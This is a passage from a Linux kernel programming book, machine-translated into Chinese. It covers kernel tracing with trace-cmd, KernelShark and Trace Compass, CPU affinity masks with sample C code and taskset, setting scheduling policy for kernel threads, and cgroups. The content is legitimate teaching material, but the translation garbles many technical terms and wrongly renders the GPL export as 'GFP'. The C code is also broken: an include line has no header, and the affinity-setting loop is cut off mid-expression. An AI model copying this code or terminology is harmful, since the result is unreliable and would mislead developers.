-安装后,启动跟踪罗盘,单击文件|打开跟踪菜单,并导航到在前面步骤中为跟踪会话保存跟踪元数据的输出目录。Trace Compass 将读取元数据并可视化显示,同时提供各种视角和工具视图。这里显示了我们简短的全系统内核跟踪会话的部分截图(*图 11.1*);您可以看到从`gnome-shell`进程到`swapper/1`内核线程(运行在 CPU #1 上的空闲线程)的上下文切换(显示为`sched_switch`事件–参见事件类型列): - -![](img/8d1707c7-7cbf-4892-9f55-7909a40e44e7.png) - -Figure 11.1 – Trace Compass GUI showing a sample kernel tracing session obtained via LTTng - -仔细看前面的截图(图 11.1);在下方的水平窗格中,您不仅可以看到执行了哪个内核函数,还可以*和*获得(在标记为 Contents 的列下)参数列表以及每个参数当时的值!这确实非常有用。 - -## 使用 trace-cmd 可视化 - -现代 Linux 内核(从 2.6.27 开始)嵌入了一个非常强大的跟踪引擎,叫做 **Ftrace** 。Ftrace 是用户空间`strace(1)`实用程序的粗略内核等价物,但这将是卖空它!Ftrace 允许 sysad(或开发人员、测试人员或任何真正拥有 root 权限的人)真正地在幕后查看,查看内核空间中正在执行的每一个函数、谁(哪个线程)执行了它、它运行了多长时间、它调用了什么 API、中断(硬中断和软中断)的发生情况、各种类型的延迟测量等等。您可以使用 Ftrace 了解系统实用程序、应用和内核的实际工作方式,以及在操作系统级别执行深度跟踪。 - -在这本书里,我们避免深究原始 Ftrace 用法的深度(因为它偏离了手头的主题);相反,在 Ftrace 上使用一个用户空间包装器会更快更容易,这是一个更方便的界面,叫做`trace-cmd(1)`(同样,我们只是触及表面,展示了一个如何使用`trace-cmd`的例子)。 - -For Ftrace details and usage, the interested reader will find this kernel document useful: [https://www.kernel.org/doc/Documentation/trace/ftrace.rst](https://www.kernel.org/doc/Documentation/trace/ftrace.rst). - -大多数现代 Linux 发行版将允许通过它们的包管理系统安装`trace-cmd`;例如,在 Ubuntu 上,`sudo apt install trace-cmd`就足以安装它(如果在比如说 ARM 上的定制 Linux 需要,你总是可以从它的 GitHub 存储库的源代码中进行交叉编译:[https://git . kernel . org/pub/SCM/Linux/kernel/git/rostedt/trace-cmd . git/tree/](https://git.kernel.org/pub/scm/linux/kernel/git/rostedt/trace-cmd.git/tree/))。 - -让我们执行一个简单的`trace-cmd`会话;首先,我们将在`ps(1)`实用程序运行时记录数据样本;然后,我们将通过`trace-cmd report` **命令行界面** ( **CLI** )以及名为 KernelShark 的图形用户界面前端(它实际上是`trace-cmd`包的一部分)来检查捕获的数据。 - -### 使用 trace-cmd 记录记录样本会话 - -在本节中,我们用`trace-cmd(1)`记录一个会话;我们使用几个(许多可能的)选项开关到`trace-cmd record`;像往常一样,`trace-cmd-foo(1)`(用`check-events`、`hist`、`record`、`report`、`reset`等代替`foo`、上的手册页对于查找各种选项开关和使用细节非常有用。一些特别适用于`trace-cmd record`的选项开关如下: - -* `-o`:指定输出文件名(如未指定,默认为`trace.dat`)。 -* `-p`:要使用的插件,`function`、`function_graph`、`preemptirqsoff`、`irqsoff`、`preemptoff`、`wakeup`中的一个;这里,在我们的小演示中,我们使用了`function-graph`插件(在内核中也可以配置其他几个插件)。 -* `-F`:要追踪的命令(或 app);这非常有用,允许您精确地指定专门跟踪哪个进程(或线程)(否则,跟踪所有线程可能会在尝试解密输出时导致大量噪音);同样,可以使用`-P`选项开关指定要跟踪的 PID。 -* `-r priority`:以指定的实时优先级运行`trace-cmd`线程(典型范围为 1 到 99;我们将很快介绍查询和设置线程的调度策略和优先级);这更有可能让`trace-cmd`能够按照要求采集样本。 - -在这里,我们运行一个快速演示:我们运行`ps -LA`;当它运行时,它产生的所有内核流量都(专门)通过它的`record`功能(我们使用`function-graph`插件)被`trace-cmd`捕获: - -```sh -$ sudo trace-cmd record -o trace_ps.dat -r 99 -p function_graph -F ps -LA -plugin 'function_graph' -PID LWP TTY TIME CMD - 1 1 ? 00:01:42 systemd - 2 2 ? 00:00:00 kthreadd -[ ... ] -32701 734 tty2 00:00:00 ThreadPoolForeg -CPU 2: 48176 events lost -CPU0 data recorded at offset=0x761000 -[ ... ] -CPU3 data recorded at offset=0xf180000 -114688 bytes in size -$ ls -lh trace_ps.dat --rw-r--r-- 1 root root 242M Jun 25 11:23 trace_ps.dat -$ -``` - -结果是一个相当大的数据文件(因为我们捕获了所有事件并执行了一个`ps -LA`来显示所有活动的线程,这需要一段时间,因此捕获的数据样本比较大。还要认识到,默认情况下,内核跟踪是跨系统上的所有 CPU 执行的;您可以通过`-M cpumask`选项进行更改。) - -In the preceding example, we captured all events. The `-e` option switch to `trace-cmd(1)` allows you to specify a class of events to trace; for example, to trace the `ping(1)` utility and capture only events related to networking and kernel memory, run the following command: -`sudo trace-cmd record -e kmem -e net -p function_graph -F ping -c1 packtpub.com`. - -### 使用跟踪-cmd 报告进行报告和解释 - -继续前面的部分,在命令行上,我们可以得到一个(非常!)详细报告当`ps`进程运行时内核中发生了什么;使用`trace-cmd report`命令查看。我们还传递了`-l`选项开关:它以被称为 Ftrace 的**延迟格式**显示报告,揭示了许多有用的细节;`-i`开关当然指定要使用的输入文件: - -```sh -trace-cmd report -i ./trace_ps.dat -l > report_tc_ps.txt -``` - -现在变得非常有趣!我们展示了一些用`vim(1)`打开的(巨大的)输出文件的部分截图;首先我们有以下内容: - -![](img/5091064d-03e6-4383-abde-e6efd3f2fab5.png) - -Figure 11.2 – A partial screenshot showing the output of the trace-cmd report - -请看图 11.2;对内核 API`schedule()`的调用被故意突出显示并以粗体显示(*图 11.2* ,在线`785303`!).为了解释这一行的所有内容,我们必须理解每一个(空格分隔的)列;他们有八个人: - -* 第 1 列:这里,它只是 vim 显示的文件中的行号(让我们忽略它)。 -* 第 2 列:这是调用这个函数的流程上下文(函数本身在第 8 列);显然,这里的流程是`ps-PID`(其 PID 附加在一个`-`字符之后)。 - -* 第三栏:有用!一系列五个字符,以**延迟格式**显示(我们用`-l`选项切换到`trace-cmd record`,记住!);这个(在我们前面的例子中,是`2.N..`)非常有用,可以解释如下: - * 第一个字符是运行它的中央处理器核心(这里是核心#2)(注意,一般来说,除了第一个字符之外,如果该字符是一个周期`.`,则表示它为零或不适用)。 - * 第二个字符表示硬件中断状态: - * `.`表示默认硬件中断已启用。 - * `d`表示硬件中断当前被禁用。 - * 第三个字符代表`need_resched`位(我们在上一章*中对此进行了解释,调度程序什么时候运行?*节): - * `.`表示已清除。 - * `N`表示设置好了(表示内核要求尽快进行重调度!). - * 第四个字符只有在中断正在进行时才有意义,否则,它只是一个`.`,暗示我们处于一个过程上下文中;如果中断正在进行中——这意味着我们处于中断上下文中——其值为以下值之一: - * `h`表示我们正在 hardirq(或上半部分)中断上下文中执行。 - * `H`表示我们正在一个软 irq 内发生的 hardirq 中执行。 - * `s`表示我们在一个软中断上下文中执行。 - * 第五个字符表示抢占计数或深度;如果是`.`,则为零,表示内核运行在可抢占状态;如果非零,则会显示一个整数,这意味着许多内核级锁已经被占用,迫使内核进入不可抢占的状态。 - * 顺便说一下,输出与 Ftrace 的原始输出非常相似,除了在原始 Ftrace 的情况下,我们将只看到四个字符–第一个字符(CPU 内核号)*没有*出现在这里;相反,它显示为最左边的列;以下是原始 Ftrace(不是`trace-cmd`)延迟格式的部分截图: - -![](img/e1683af7-417c-4bb1-8dab-2210dc29c3fb.png) - -Figure 11.3 – A partial screenshot focused on raw Ftrace's four-character latency format (fourth field) - -前面的截图是直接从原始 Ftrace 输出中挑选出来的。 - -* (现在回到图 11.2 中的剩余列) - 第 4 列:时间戳,单位为*秒:微秒*格式。 -* 第 5 列:发生的事件的名称(这里,因为我们使用了`function_graph`插件,它将是`funcgraph_entry`或`fungraph_exit`,分别意味着功能进入或退出)。 -* 第 6 列[可选]:前面函数调用的持续时间,所用时间及其单位(us =微秒)一起显示;前缀字符用于表示函数执行是否花费了很长时间(我们简单地将其视为此列的一部分);从内核 Ftrace 文档(这里:[https://www.kernel.org/doc/Documentation/trace/ftrace.rst](https://www.kernel.org/doc/Documentation/trace/ftrace.rst),我们有这个: - - * `+`,这意味着一个函数超过了 10 微秒 - * `!`,这意味着一个函数超过了 100 微秒 - * `#`,这意味着一个函数超过了 1000 微秒 - * `*`,这意味着一个函数超过了 10 毫秒 - * `@`,这意味着一个函数超过了 100 毫秒 - * `$`,这意味着一个函数超过了 1 秒 -* 第 7 列:只是分隔符`|`。 -* 第 8 列:最右列是正在执行的内核函数的名称;右边一个左大括号,`{`,表示刚才调用了函数;只有一个右大括号`}`的列意味着前面函数的结束(匹配左大括号)。 - -这种详细程度对于解决内核(甚至用户空间)问题,以及深入了解内核流程都非常有价值。 - -When `trace-cmd record` is used without the `-p function-graph` option switch, we do lose the nicely indented function call graph-like output, but we do gain something as well: you will now see all function parameters along with their runtime values to the right of every single function call! A truly valuable aid at times. - -我忍不住展示了同一份报告的另一个片段——另一个有趣的例子,关于我们在现代 Linux 上学习的调度类的工作原理(在前一章中已经介绍过);这实际上显示在`trace-cmd`输出中: - -![](img/21976669-95f0-4c59-8ab6-901b9a2fe248.png) - -Figure 11.4 – A partial screenshot of trace-cmd report output - -仔细解读前面的截图(*图 11.4* ):第二行(最右边的函数名一栏用粗体显示,紧随其后的两个函数也是如此)显示`pick_next_task_stop()`函数被调用;这意味着发生了一个调度,内核中的核心调度代码完成了它的例程——它按照优先级顺序遍历调度类的链表,询问每个调度类是否有线程要调度;如果有,核心调度器上下文会切换到它(如前一章*模块化调度类*一节中详细解释的那样)。 - -在图 11.4 中,您确实看到了这种情况:核心调度代码通过依次调用`pick_next_task_stop()`、`pick_next_task_dl()`和`pick_next_task_rt()`函数,询问**停止调度** ( **SS** )、**截止时间** ( **DL** )和**实时** ( **RT** )类是否有任何线程想要运行。显然,对于他们所有人来说,答案都是否定的,因为下一个要运行的函数是 fair (CFS)类的函数(那么为什么前面的截图中没有出现`pick_next_task_fair()`函数呢?啊,同样,这是对您的代码优化:内核开发人员理解这是可能的情况,他们检查它并在大多数时间直接调用公平类代码)。 - -我们在这里介绍的强大的 Ftrace 框架和`trace-cmd`实用程序只是基础;我敦促你查阅`trace-cmd-`(其中``被`record`、`report`等代替)上的手册页,那里有典型的好例子。此外,还有几篇写得非常好的关于 Ftrace(和`trace-cmd`)的文章——请参考*进一步阅读*部分。 - -### 使用图形用户界面前端进行报告和解释 - -更好的消息是:`trace-cmd`工具集包括一个图形用户界面前端,用于更人性化的解释和分析,称为 KernelShark(尽管在我看来,它不如 Trace Compass 功能全面)。在 Ubuntu/Debian 上安装就像做`sudo apt install kernelshark`一样简单。 - -下面,我们运行`kernelshark`,将前面`trace-cmd`记录会话输出的跟踪数据文件作为参数传递给它(将参数调整为 KernelShark,以引用保存跟踪元数据的位置): - -```sh -$ kernelshark ./trace_ps.dat -``` - -这里显示了使用前面的跟踪数据运行的 KernelShark 的屏幕截图: - -![](img/5febff2e-dcdf-4a82-bc85-10f1bc629287.png) - -Figure 11.5 – A screenshot of the kernelshark GUI displaying the earlier-captured data via trace-cmd - -有趣;`ps`进程在 CPU #2 上运行(正如我们之前在 CLI 版本中看到的)。在这里,我们还可以看到在下方平铺的水平窗格中执行的功能;例如,我们突出显示了`pick_next_task_fair()`的条目。这些列非常明显,`Latency`列格式(四个字符,而不是五个)解释为我们之前解释的(原始)Ftrace。 - -**快速测验**:图 11.5 中的延迟格式字段`dN..`意味着什么? - -答:这意味着,目前,我们有以下情况: - -* 第一列`d`:硬件中断被禁用。 -* 第二列`N`:设置`need_resched`位(意味着需要在下一个可用的调度机会点调用调度程序)。 -* 第三列`.`:内核`pick_next_task_fair()`函数的代码在进程上下文中运行(任务是`ps`,PID 为`22545`;记住,Linux 是一个单片内核!). -* 第四列`.`:抢占深度(计数)为零,表示内核处于可抢占状态。 - -现在,我们已经介绍了如何使用这些强大的工具来帮助生成和可视化与内核执行和调度相关的数据,接下来让我们进入另一个领域:在下一节中,我们将关注另一个重要的方面——线程的 CPU 相似性掩码到底是什么,以及您如何以编程方式(或其他方式)获取/设置它。 - -# 理解、查询和设置 CPU 相似性掩码 - -任务结构,包含几十个线程属性的根数据结构,有几个与调度直接相关的属性:优先级(好的*以及 RT 优先级值)、调度类结构指针、线程所在的运行队列(如果有的话)等等。* - - *其中有一个重要成员, **CPU 亲和位掩码**(实际结构成员为`cpumask_t cpus_allowed`)。这也告诉您,CPU 亲缘性位掩码是每个线程的数量;这是有道理的——毕竟,Linux 上的 KSE 是一个线程。它本质上是一个位数组,每个位代表一个 CPU 内核(变量中有足够的可用位);如果设置了对应于某个内核的位(`1`),则允许在该内核上调度和执行线程;如果清除了(`0`),那就不是了。 - -默认情况下,设置所有的 CPU 相似性掩码位;因此,线程可以在任何内核上运行。例如,在具有(操作系统看到的)四个中央处理器内核的盒子上,每个线程的默认中央处理器相似性位掩码将是二进制的`1111` ( `0xf`)。(从概念上看,浏览图 11.6 可以看到 CPU 相似性位掩码的外观。) - -在运行时,调度器决定线程将实际运行在哪个核心上。其实仔细想想,真的很含蓄:默认情况下,每个 CPU 内核都有一个与之关联的运行队列;每个可运行的线程将在一个 CPU 运行队列上;因此,它有资格运行,并且默认情况下在它的运行队列所代表的 CPU 上运行。当然,调度器有一个负载均衡器组件,可以根据需要将线程迁移到其他 CPU 内核(实际上是运行队列)(内核线程称为`migration/n`,其中`n`是协助执行该任务的内核号)。 - -内核确实向用户空间公开了应用接口(系统调用,当然是`sched_{s,g}etaffinity(2)`和它们的`pthread`包装器库应用接口),这允许应用在它认为合适的时候将一个线程(或多个线程)仿射或关联到特定的 CPU 内核(通过同样的逻辑,我们也可以在内核中为任何给定的内核线程这样做)。例如,将中央处理器关联掩码设置为`1010`二进制,十六进制等于`0xa`,意味着线程只能在中央处理器内核 1 和 3 上执行*(从零开始计数)。* - - *一个关键点:虽然你可以操纵 CPU 亲和掩码,但建议避免这样做;内核调度器详细了解 CPU 拓扑结构,可以最好地对系统进行负载平衡。 - -话虽如此,显式设置线程的 CPU 亲缘关系掩码可能是有益的,原因如下: - -* 通过确保一个线程始终运行在同一个中央处理器内核上,可以大大减少缓存无效(以及令人不快的缓存“反弹”)。 -* 有效消除了内核之间的线程迁移成本。 -* 中央处理器保留——一种策略,通过保证所有其他线程不被明确允许在该核心上执行,将核心专门授予一个线程。 - -前两个在某些角落情况下很有用;第三个,CPU 预留,倾向于在一些时间关键的实时系统中使用的技术,这样做的成本是合理的。然而,在实践中执行 CPU 保留是相当困难的,需要操作系统级的干预。)线程创建;费用可能高得令人望而却步。为此,这实际上是通过指定某个(或多个)CPU 被*与所有任务隔离*来实现的;Linux 内核为这项工作提供了一个内核参数`isolcpus`。 - -在这方面,我们直接引用`sched_{s,g}etaffinity(2)`系统调用上的手册页: - -The isolcpus boot option can be used to isolate one or more CPUs at boot time, so that no processes are scheduled onto those CPUs. Following the use of this boot option, the only way to schedule processes onto the isolated CPUs is via sched_setaffinity() or the cpuset(7) mechanism. For further information, see the kernel source file Documentation/admin-guide/kernel-parameters.txt. As noted in that file, isolcpus is the preferred mechanism of isolating CPUs (versus the alternative of manually setting the CPU affinity of all processes on the system). Note, though, the previously mentioned `isolcpus` kernel parameter is now considered deprecated; it's preferable to use the cgroups `cpusets` controller instead (`cpusets` is a cgroup feature or controller; we do have some coverage on cgroups later in this chapter, in the *CPU bandwidth control with cgroups* section). - -We refer you to more details in the kernel parameter documentation (here: [https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt](https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt)), specifically under the parameter labeled `isolcpus=`. - -现在您已经理解了它背后的理论,让我们实际编写一个用户空间 C 程序来查询和/或设置任何给定线程的 CPU 亲缘关系掩码。 - -## 查询和设置线程的 CPU 关联掩码 - -作为演示,我们提供了一个小的用户空间 C 程序来查询和设置用户空间进程(或线程)的 CPU 亲缘关系掩码。通过`sched_getaffinity(2)`系统调用并通过设置其对应项来查询中央处理器关联掩码: - -```sh -#define _GNU_SOURCE -#include - -int sched_getaffinity(pid_t pid, size_t cpusetsize, - cpu_set_t *mask); -int sched_setaffinity(pid_t pid, size_t cpusetsize, - const cpu_set_t *mask); -``` - -一种称为`cpu_set_t`的专用数据类型被用来表示 CPU 相似性位掩码;它相当复杂:它的大小是根据系统上看到的 CPU 内核数量动态分配的。该 CPU 掩码(类型为`cpu_set_t`)必须首先初始化为零;`CPU_ZERO()`宏实现了这一点(存在几个类似的辅助宏;一定要参考`CPU_SET(3)`上的手册页。前面两个系统调用中的第二个参数是 CPU 集的大小(我们简单地使用`sizeof`运算符来获取它)。 - -为了更好地理解这一点,查看我们的代码的示例运行(`ch11/cpu_affinity/userspc_cpuaffinity.c`)很有启发性;我们在具有 12 个 CPU 内核的本机 Linux 系统上运行它: - -![](img/6d66a20c-580f-4cc1-b08a-987717b30c76.png) - -Figure 11.6 – Our demo user space app showing the CPU affinity mask - -这里,我们已经运行了没有参数的应用。在这种模式下,它会查询自身的 CPU 亲缘关系掩码(即`userspc_cpuaffinity`调用进程的)。我们打印出位掩码的位:正如您在前面的截图中可以清楚地看到的,它是二进制的`1111 1111 1111`(相当于`0xfff`),这意味着默认情况下,该进程可以在系统上可用的 12 个 CPU 内核中的任何一个上运行。 - -该应用通过有用的`popen(3)`库应用编程接口运行`nproc(1)`实用程序来检测可用的中央处理器内核数量。请注意,`nproc`返回的值是调用进程可用的 CPU 内核数量;它可能比实际的 CPU 内核数量少(通常是一样的);可用内核的数量可以通过几种方式改变,正确的方式是通过 cgroup `cpuset`资源控制器(我们将在本章后面介绍一些关于 cgroup 的信息)。 - -查询代码如下: - -```sh -// ch11/cpu_affinity/userspc_cpuaffinity.c - -static int query_cpu_affinity(pid_t pid) -{ - cpu_set_t cpumask; - - CPU_ZERO(&cpumask); - if (sched_getaffinity(pid, sizeof(cpu_set_t), &cpumask) < 0) { - perror("sched_getaffinity() failed"); - return -1; - } - disp_cpumask(pid, &cpumask, numcores); - return 0; -} -``` - -我们的`disp_cpumask()`函数绘制位掩码(我们让您来检查)。 - -如果传递了额外的参数——进程(或线程)的 PID 作为第一个参数,以及一个中央处理器位掩码作为第二个参数——我们将尝试*将该进程(或线程)的中央处理器关联掩码设置为传递的值。当然,更改 CPU 关联性位掩码需要您拥有进程或拥有根权限(更正确的说法是,拥有`CAP_SYS_NICE`功能)。* - -一个快速演示:在图 11.7 中,`nproc(1)`向我们展示了 CPU 内核的数量;然后,我们运行我们的应用来查询和设置我们的 shell 进程的 CPU 亲缘关系掩码。在笔记本电脑上,假设`bash`的亲和面具是`0xfff`(二进制`1111 1111 1111`)开始,果然如此;我们将其更改为`0xdae`(二进制`1101 1010 1110`)并再次查询以验证更改: - -![](img/6da7a9bc-571a-4678-8989-c7d321731e55.png) - -Figure 11.7 – Our demo app queries then sets the CPU affinity mask of bash to 0xdae - -好吧,这很有趣:首先,应用正确地检测到它可用的 CPU 内核数量为 12 个;然后,它查询 bash 进程的(默认)CPU 亲缘关系掩码(因为我们将它的 PID 作为第一个参数传递);它出现了,如`0xfff`所料。然后,我们还传递了第二个参数——现在设置的位掩码(`0xdae`),它这样做了,将 bash 的 CPU 关联掩码设置为`0xdae`。现在,由于我们所在的终端窗口也是同样的 bash 进程,运行`nproc`再次显示值为 8,而不是 12!这确实是正确的:bash 进程现在只有八个 CPU 核心可用。(这是因为我们不会在退出时将 CPU 关联掩码恢复到其原始值。) - -下面是设置 CPU 相似性掩码的相关代码: - -```sh -// ch11/cpu_affinity/userspc_cpuaffinity.c -static int set_cpu_affinity(pid_t pid, unsigned long bitmask) -{ - cpu_set_t cpumask; - int i; - - printf("\nSetting CPU affinity mask for PID %d now...\n", pid); - CPU_ZERO(&cpumask); - - /* Iterate over the given bitmask, setting CPU bits as required */ - for (i=0; i> i) & 1); */ - if ((bitmask >> i) & 1) - CPU_SET(i, &cpumask); - } - - if (sched_setaffinity(pid, sizeof(cpu_set_t), &cpumask) < 0) { - perror("sched_setaffinity() failed"); - return -1; - } - disp_cpumask(pid, &cpumask, numcores); - return 0; -} -``` - -在前面的代码片段中,您可以看到我们首先适当地设置`cpu_set_t`位掩码(通过循环每个位),然后使用`sched_setaffinity(2)`系统调用在给定的`pid`上设置新的 CPU 关联性掩码。 - -### 使用任务集(1)来执行 CPU 关联性 - -类似于(在前一章中)我们如何使用方便的用户空间实用程序`chrt(1)`来获取(或设置)进程(或线程)的调度策略和/或优先级,您可以使用用户空间`taskset(1)`实用程序来获取和/或设置给定进程(或线程)的 CPU 相似性掩码。下面是几个简单的例子:请注意,这些示例是在具有 4 个 CPU 内核的 x86_64 Linux 系统上运行的: - -* 使用`taskset`查询 systemd (PID 1)的 CPU 亲缘关系掩码: - -```sh -$ taskset -p 1 -pid 1's current affinity mask: f -$ -``` - -* 使用`taskset`确保编译器——及其后代(汇编器和链接器)——只在前两个 CPU 内核上运行;taskset 的第一个参数是 CPU 相似性位掩码(`03`是二进制的`0011`): - -```sh -$ taskset 03 gcc userspc_cpuaffinity.c -o userspc_cpuaffinity -Wall -``` - -有关完整的使用细节,请查阅`taskset(1)`手册页。 - -### 在内核线程上设置 CPU 相似性掩码 - -举个例子,如果我们想演示一种叫做每 CPU 变量的同步技术,我们需要创建两个内核线程,并保证它们都在单独的 CPU 内核上运行。为此,我们必须设置每个内核线程的 CPU 关联掩码(第一个设置为`0`,第二个设置为`1`,以便让它们分别只在 CPU`0`和`1`上执行。问题是,这不是一份干净的工作——老实说,这是一份相当“T4”的工作,绝对不是推荐的工作。该代码的以下注释说明了原因: - -```sh - /* ch17/6_percpuvar/6_percpuvar.c */ - /* WARNING! This is considered a hack. - * As sched_setaffinity() isn't exported, we don't have access to it - * within this kernel module. So, here we resort to a hack: we use - * kallsyms_lookup_name() (which works when CONFIG_KALLSYMS is defined) - * to retrieve the function pointer, subsequently calling the function - * via it's pointer (with 'C' what you do is only limited by your - * imagination :). - */ - ptr_sched_setaffinity = (void *)kallsyms_lookup_name("sched_setaffinity"); -``` - -稍后,我们调用函数指针,实际上是调用`sched_setaffinity`代码,如下所示: - -```sh - cpumask_clear(&mask); - cpumask_set_cpu(cpu, &mask); // 1st param is the CPU number, not bitmask - /* !HACK! sched_setaffinity() is NOT exported, we can't call it - * sched_setaffinity(0, &mask); // 0 => on self - * so we invoke it via it's function pointer */ - ret = (*ptr_sched_setaffinity)(0, &mask); // 0 => on self -``` - -非常规且有争议;它确实有效,但是在生产中请避免这样的黑客攻击。 - -现在您已经知道了如何获取/设置线程的 CPU 亲缘关系掩码,让我们进入下一个逻辑步骤:如何获取/设置线程的调度策略和优先级!下一节将深入探讨细节。 - -# 查询和设置线程的调度策略和优先级 - -在[第 10 章](10.html)、*CPU 调度程序-第 1 部分*中,在*线程-哪个调度策略和优先级*部分,您学习了如何通过`chrt(1)`查询任何给定线程的调度策略和优先级(我们还演示了一个简单的 bash 脚本)。在这里,我们提到了这样一个事实,即`chrt(1)`在内部调用`sched_getattr(2)`系统调用来查询这些属性。 - -非常类似地,设置调度策略和优先级可以通过使用`chrt(1)`实用程序(例如,使在脚本中这样做变得简单)来执行,或者通过`sched_setattr(2)`系统调用在(用户空间)C 应用中以编程方式执行。此外,内核还公开了其他 API:`sched_{g,s}etscheduler(2)`及其`pthread`库包装器 API,`pthread_{g,s}etschedparam(3)`(由于这些都是用户空间 API,我们让您浏览它们的手册页以获取详细信息,并亲自试用)。 - -## 内核内部——在内核线程上 - -正如你现在知道的,内核肯定不是一个进程,也不是一个线程。话虽如此,内核确实包含内核线程;像它们的用户空间对应物一样,可以根据需要创建内核线程(从内核内核、设备驱动程序、内核模块中)。它们*是*可调度实体(KSEs!)当然,它们每个都有一个任务结构;因此,可以根据需要查询或设置它们的调度策略和优先级.. - -所以,说到这里:为了设置内核线程的调度策略和/或优先级,内核通常使用`kernel/sched/core.c:sched_setscheduler_nocheck()` (GFP 导出)内核 API 在这里,我们展示了它的签名和一个典型用法的例子;下面的评论使它变得不言自明: - -```sh -// kernel/sched/core.c -/** - * sched_setscheduler_nocheck - change the scheduling policy and/or RT priority of a thread from kernelspace. - * @p: the task in question. - * @policy: new policy. - * @param: structure containing the new RT priority. - * - * Just like sched_setscheduler, only don't bother checking if the - * current context has permission. For example, this is needed in - * stop_machine(): we create temporary high priority worker threads, - * but our caller might not have that capability. - * - * Return: 0 on success. An error code otherwise. - */ -int sched_setscheduler_nocheck(struct task_struct *p, int policy, - const struct sched_param *param) -{ - return _sched_setscheduler(p, policy, param, false); -} -EXPORT_SYMBOL_GPL(sched_setscheduler_nocheck); -``` - -内核使用内核线程的一个很好的例子是内核使用线程中断。这里,内核必须使用`SCHED_FIFO`(软)实时调度策略和`50`(中间)实时优先级值创建一个专用的内核线程,用于中断处理。这里显示的(相关)代码是在内核线程上设置调度策略和优先级的示例: - -```sh -// kernel/irq/manage.c -static int -setup_irq_thread(struct irqaction *new, unsigned int irq, bool secondary) -{ - struct task_struct *t; - struct sched_param param = { - .sched_priority = MAX_USER_RT_PRIO/2, - }; - [ ... ] - sched_setscheduler_nocheck(t, SCHED_FIFO, ¶m); - [ ... ] -``` - -(这里,我们不展示通过`kthread_create()` API 创建内核线程的代码。另外,仅供参考,`MAX_USER_RT_PRIO`是值`100`。) - -现在,您已经很好地理解了 CPU 调度在操作系统级别上是如何工作的,我们将继续另一个非常引人注目的讨论——cggroups;继续读! - -# 用计算机组控制中央处理器带宽 - -在朦胧的过去,内核社区与一个相当令人烦恼的问题进行了激烈的斗争:尽管调度算法及其实现——早期的 2.6.0 O(1)调度器,以及稍晚一些的(具有 2.6.23)完全公平的调度器(**CFS**)——承诺了完全公平的调度,但事实并非如此。想一想:假设你和其他九个人一起登录了一个 Linux 服务器。在其他条件相同的情况下,处理器时间可能(或多或少)在所有十个人之间公平分配;当然,你会明白,真正运行的不是人,而是代表他们运行的进程和线程。 - -至少现在,让我们假设它大部分是公平共享的。但是,如果你编写一个用户空间程序,在一个循环中,不加区别地产生几个新线程,每个线程执行大量的 CPU 密集型工作(也许作为额外的奖励,还分配了大量的内存;每个循环迭代中可能有一个文件压缩器应用!?CPU 带宽分配不再是任何真正意义上的公平,您的帐户将有效地占用 CPU(也许还有其他系统资源,如内存)! - -需要一种精确有效地分配和管理中央处理器(和其他资源)带宽的解决方案;最终,谷歌工程师不得不使用补丁将现代 cgroups 解决方案植入 Linux 内核(版本 2.6.24)。简而言之,cgroups 是一个内核特性,它允许系统管理员(或任何具有根访问权限的人)对系统上的各种资源(或称之为 cgroup 词典中的*控制器*)执行带宽分配和细粒度资源管理。一定要注意:使用 cgroups,不仅是处理器(CPU 带宽),还有内存、网络、块 I/O(以及更多)带宽,可以根据您的项目或产品的需要仔细分配和监控。 - -所以,嘿,你现在有兴趣了!如何启用此 cgroups 功能?简单–这是一个内核特性,您可以用通常的方式以相当精细的粒度启用(或禁用):通过配置内核!相关菜单(通过方便的`make menuconfig`界面)为`General setup / Control Group support`。试试这个:`grep`你的`CGROUP`内核配置文件;如果需要,调整你的内核配置,重建,用新内核重启,并测试。(我们在[第 2 章](02.html)、*中详细介绍了内核配置,从源代码构建 5.x Linux 内核–第 1 部分*,在[第 3 章](03.html)、*中详细介绍了内核构建和安装,从源代码构建 5.x Linux 内核–第 2 部分。*) - -Good news: cgroups is enabled by default on any (recent enough) Linux system that runs the systemd init framework. As mentioned just now, you can query the cgroup controllers enabled by `grep`-ping your kernel config file, and modify the config as desired. - -从 2.6.24 开始,cgroups 就像所有其他内核特性一样,不断发展。最近,达到了一个点,充分改进的 cgroup 特性变得与旧的不兼容,导致了一个新的 cgroup 版本,命名为 cgroups v2(或简称 cgroup S2);这在 4.5 内核系列中被宣布为生产就绪(旧版本现在被称为 cgroups v1 或旧版 cggroups 实现)。请注意,在撰写本文时,两者都可以并且确实一起存在(有一些限制;许多应用和框架仍然使用较旧的 cgroups v1,并且尚未迁移到 v2)。 - -A detailed rationale of why to use cgroups v2 as opposed to cgroups v1 can be found within the kernel documentation here: [https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html#issues-with-v1-and-rationales-for-v2](https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html#issues-with-v1-and-rationales-for-v2) - -`cgroups(7)`上的手册页较为详细地描述了接口和各种可用(资源)控制器(或*子系统*,因为它们有时被称为);对于组 v1,它们是`cpu`、`cpuacct`、`cpuset`、`memory`、`devices`、`freezer`、`net_cls`、`blkio`、`perf_event`、`net_prio`、`hugetlb`、`pids`和`rdma`。我们请感兴趣的读者参考上述手册了解详情;作为一个例子,PIDS 控制器在防止叉形炸弹方面非常有用(通常,这是一种愚蠢但致命的 DoS 攻击,其中`fork(2)`系统调用是在无限循环中发出的!),允许您限制可以从该组(或其后代)分叉的进程数量。在运行 cgroups v1 的 Linux 盒子上,查看`/proc/cgroups`的内容:它显示了可用的 v1 控制器及其当前使用情况。 - -控制组通过专门构建的合成(伪)文件系统公开,通常安装在`/sys/fs/cgroup`下。在 cgroups v2 中,所有控制器都安装在一个层次结构(或树)中。这与 cgroups v1 不同,在 cgroups v1 中,多个控制器可以安装在多个层次或组下。现代 init 框架*system d*是 v1 和 v2 用户组的用户。`cgroups(7)`手册页确实提到了这样一个事实,`systemd(1)`在启动期间(在`/sys/fs/cgroup/unified`自动安装了一个 cgroups v2 文件系统。 - -在 cgroups v2 中,这些是受支持的控制器(或资源限制器或子系统,如果您愿意):`cpu`、`cpuset`、`io`、`memory`、`pids`、`perf_event`和`rdma`(前五个通常被部署)。 - -本章的重点是 CPU 调度;因此,我们不再深入研究其他控制器,而是将我们的讨论限制在使用 cggroups v2`cpu`控制器来限制 CPU 带宽分配的示例上。关于使用其他控制器的更多信息,我们请你参考前面提到的资源(以及在本章的*进一步阅读*部分找到的更多信息)。 - -## 在 Linux 系统上查找 cgroups v2 - -首先,让我们查找可用的 v2 控制器;为此,请找到 cgroups v2 装载点;它通常在这里: 